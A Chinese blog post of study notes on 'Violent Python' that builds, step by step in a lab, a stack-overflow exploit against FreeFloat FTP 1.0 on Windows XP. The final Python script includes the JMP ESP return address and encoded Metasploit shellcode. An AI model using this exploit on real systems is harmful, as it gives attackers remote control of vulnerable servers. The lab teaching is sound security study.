Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]

今天想记录下栈溢出这个东西,这也是我弄了好几遍的,虽然很老但原理应该是逐步清晰了。

DEP

先谈谈DEP这东西,能进行栈溢出也是因为没搞DEP,DEP是什么?DEP是数据执行保护,DATA Executive Protect。基本原理是将数据所在的内存页标记为不可执行,当程序产生溢出,恶意代码试图在数据段执行指令时,CPU会产生异常而不去执行指令。微软在XP2就已经实现了DEP,在计算机属性->性能->数据保护里面就有这个选项,但默认只保护windows的系统软件之类的,第二个选项你可以选,那今天这个针对FTP的栈溢出就GG了。

栈溢出

这应该是Python绝技这本书里面所说的编写自己的0day,我今天对于这个的记录是综合了一些内容的,不单单只是这本书里的东西。

环境准备

一台XP虚拟机,一台Kali虚拟机。
xp上安装freefloatFTP 1.0,这个FTP软件就是我们用来栈溢出的,软件在接收一个很长的包的时候就会溢出,Ollydbg是一个逆向分析的软件,用于观察内存栈的信息,设置断点来更好分析程序的跳转。
kali里面则是用到了几个rb写的脚本,用来生成不重复的字节流啊等。
在国内我们有破解的Ollydbg,在国外我们就需要使用mona这样开元的东西了。我这样的小白还对版权啊什么的不了解,能用就行。

几个概念

EIP:指令指针寄存器;
ESP:栈顶指针寄存器;
EBP:栈底指针寄存器。
大端小端:网络字节序一般是大端,也就是内存高位在上,小端就是低位在上,我们会在程序报错和Ollydbg中看到小端的内存地址,我们在Python网络编程中则要调整成大端,后面会标注。

正式开始

我们在虚拟机XP中开启FTP服务,然后开启Ollydbg监控它。
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第1张图片
而后我们就对它发起猛攻,为什么会发现这个溢出,就是我们在尝试连接这个FTP服务的时候,我们在输入账号可以无限长度,但一直没有溢出的原因是数据包只传了70几个,这个我们可以用wireshark抓到,这里就不做演示了。我们发起的第一轮攻击就是一个用Python写的socket程序,对着这个FTP服务发500个A 做为用户名。

import socket
buff = '\x41' * 500
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target = '192.168.3.64'
s.connect((target, 21))
s.send('USER ' + buff + '\r\n')
s.close()

运行一下,就发现FTP被干掉了,EIP中是4个A。
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第2张图片
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第3张图片
这里就是我们发的A太多,把EIP,ESP,EBP都填满了A。如果能精确定位EIP,我们就能在那里填入汇编指令,搞点事情。

定位EIP和JUMP EIP

这里我们就用到了KALI里面的msf框架脚本。
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第4张图片
我们用这个pattern_create.rb生成一个长度为500的不重复字符文本。用这个代替发送的500个A,我们就能知道EIP位置是个什么字符了,然后用pattern_offset可以计算出位置。

import socket 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buff = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'
target = '192.168.3.64'
s.connect ((target, 21))
s.send('USER ' + buff + '\r\n')

Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第5张图片
在这里插入图片描述
可以得出EIP的偏移量是230,我们后面准备发送230个A和4个B来验证一下。

import socket
buff = '\x41' * 230 + '\x42' * 4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target = '192.168.3.64'
s.connect((target, 21))
s.send('USER ' + buff + '\r\n')
s.close()

Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第6张图片
看到EIP的偏移量确实是230。下面我们需要让EIP中的地址指向我们的搞事情的代码。我们在输入用户名的时候,EIP后面是ESP,我们在EIP中放跳转指令的地址,在ESP中放攻击模块。这里我们尊重版权用mona来寻找JUMP ESP指令地址。
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第7张图片
指令是!mona jmp -r esp
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第8张图片
这里我用了76a09c77这个地址,其实都是进入dll文件来在内核模式搞事情。然后我们在来改一下我们的python程序验证下。

import socket 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buff = '\x41' * 230 + '\x77\x9C\xA0\x76'+ '\x42'*8 + '\x43'*400
target = '192.168.3.64'
s.connect ((target, 21))
s.send('USER ' + buff + '\r\n')
s.close()

我们的地址是76a09c77,但这里我们改成大端’\x77\x9C\xA0\x76’,也就是倒过来。运行之后:
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第9张图片
我们预设的C字母进入了ESP,也就是说我们后面吧这里换成shellcode就能搞事情了。但这里还需要注意2个地方。
一个是EIP和ESP中间有8个字符,二是我们在生成shellcode的时候要注意坏字符,也就是FTP对用户名字符的限制,这里我排除了‘\x00’,’\x0a’,’\x40’。

生成shellcode

我们直接用kali生成shellcode,当然要排除3个坏字符。
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第10张图片
本以为马上要大功告成了,把那一串C用这个shellcode替换,还是没用。这里还有个问题就是ESP中shellcode在解码的时候需要内存空间,导致紊乱了,所以我们把ESP换个地方。这里我们再用metasm_shell.rb来计算ESP-1500的地址。
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第11张图片
好了,最后我们在来合成我们的python程序。

import socket
buff='\x41'*230+'\x77\x9C\xA0\x76'+'C'*8+"\x81\xc4\x24\xfa\xff\xff"
shellcode = "\xda\xc0\xba\xde\x84\x1c\x84\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
shellcode += "\x52\x31\x50\x17\x83\xe8\xfc\x03\x8e\x97\xfe\x71\xd2\x70\x7c"
shellcode += "\x79\x2a\x81\xe1\xf3\xcf\xb0\x21\x67\x84\xe3\x91\xe3\xc8\x0f"
shellcode += "\x59\xa1\xf8\x84\x2f\x6e\x0f\x2c\x85\x48\x3e\xad\xb6\xa9\x21"
shellcode += "\x2d\xc5\xfd\x81\x0c\x06\xf0\xc0\x49\x7b\xf9\x90\x02\xf7\xac"
shellcode += "\x04\x26\x4d\x6d\xaf\x74\x43\xf5\x4c\xcc\x62\xd4\xc3\x46\x3d"
shellcode += "\xf6\xe2\x8b\x35\xbf\xfc\xc8\x70\x09\x77\x3a\x0e\x88\x51\x72"
shellcode += "\xef\x27\x9c\xba\x02\x39\xd9\x7d\xfd\x4c\x13\x7e\x80\x56\xe0"
shellcode += "\xfc\x5e\xd2\xf2\xa7\x15\x44\xde\x56\xf9\x13\x95\x55\xb6\x50"
shellcode += "\xf1\x79\x49\xb4\x8a\x86\xc2\x3b\x5c\x0f\x90\x1f\x78\x4b\x42"
shellcode += "\x01\xd9\x31\x25\x3e\x39\x9a\x9a\x9a\x32\x37\xce\x96\x19\x50"
shellcode += "\x23\x9b\xa1\xa0\x2b\xac\xd2\x92\xf4\x06\x7c\x9f\x7d\x81\x7b"
shellcode += "\xe0\x57\x75\x13\x1f\x58\x86\x3a\xe4\x0c\xd6\x54\xcd\x2c\xbd"
shellcode += "\xa4\xf2\xf8\x12\xf4\x5c\x53\xd3\xa4\x1c\x03\xbb\xae\x92\x7c"
shellcode += "\xdb\xd1\x78\x15\x76\x28\xeb\xda\x2f\x31\xd2\xb2\x2d\x35\x25"
shellcode += "\xf8\xbb\xd3\x4f\xee\xed\x4c\xf8\x97\xb7\x06\x99\x58\x62\x63"
shellcode += "\x99\xd3\x81\x94\x54\x14\xef\x86\x01\xd4\xba\xf4\x84\xeb\x10"
shellcode += "\x90\x4b\x79\xff\x60\x05\x62\xa8\x37\x42\x54\xa1\xdd\x7e\xcf"
shellcode += "\x1b\xc3\x82\x89\x64\x47\x59\x6a\x6a\x46\x2c\xd6\x48\x58\xe8"
shellcode += "\xd7\xd4\x0c\xa4\x81\x82\xfa\x02\x78\x65\x54\xdd\xd7\x2f\x30"
shellcode += "\x98\x1b\xf0\x46\xa5\x71\x86\xa6\x14\x2c\xdf\xd9\x99\xb8\xd7"
shellcode += "\xa2\xc7\x58\x17\x79\x4c\x68\x52\x23\xe5\xe1\x3b\xb6\xb7\x6f"
shellcode += "\xbc\x6d\xfb\x89\x3f\x87\x84\x6d\x5f\xe2\x81\x2a\xe7\x1f\xf8"
shellcode += "\x23\x82\x1f\xaf\x44\x87"
buff+=shellcode
target='192.168.3.64'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect((target,21))
s.send('USER '+buff+'\r\n')
s.close()

开始kali的handle监听,发起最后一次攻击。
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第12张图片
Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2]_第13张图片
乱码问题使用chcp 65001解决。
这个栈溢出我也只是初步掌握,大概知道是个什么东西了,今天就到这吧。

你可能感兴趣的:(Python绝技:运用Python成为顶级黑客>>>>笔记及心得体会[2])